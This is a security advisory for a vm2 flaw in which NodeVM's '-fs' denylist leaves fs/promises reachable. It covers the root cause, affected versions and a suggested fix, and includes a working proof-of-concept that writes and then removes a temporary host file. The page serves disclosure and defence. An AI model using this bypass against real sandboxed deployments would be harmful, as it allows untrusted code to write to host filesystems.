CVE-2026-92958: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Summary NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs. With the following configuration: require('fs') and require('childprocess') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Published Oct 1, 2026
Affected packages
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.6
- Fixed in
- 3.11.7
- Check
npm ls vm2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltinlib/resolver.jsResolver.resolveResolver.loadBuiltinModulelib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});Observed result:
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker-<pid>"
}Additional local checks:
require('node:fs/promises')also loads and can write the proof file.- Adding
-fs/promisesblocksrequire('fs/promises'). - Adding only
-node:fs/promisesdoes not blockrequire('fs/promises').
Expected Secure Behavior
If an embedder denies fs, NodeVM should deny the whole filesystem builtin family, including:
fsfs/promisesnode:fsnode:fs/promises
Negative entries with and without node: should be normalized consistently.
Suggested Fix
- Normalize builtin names before allow/deny checks:
- Strip
node:for comparison. - Use one canonical key form internally.
- Treat negative builtin entries as family denials where appropriate:
-fsshould blockfs/promises.-inspectoralready conceptually blocksinspector/promises; apply the same family logic to user-provided negative entries.
- Add regression tests for:
builtin: ['*', '-fs']blocksfs/promises.builtin: ['*', '-fs']blocksnode:fs/promises.-node:fs/promisesand-fs/promisesbehave equivalently.- Explicit allowlist behavior is documented and covered.
Credited to nasaa0x, rexpository, sangnigege, manus-use.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh
- https://nvd.nist.gov/vuln/detail/CVE-2026-92958
- https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises
- https://github.com/advisories/GHSA-6rh5-qq4q-97xh
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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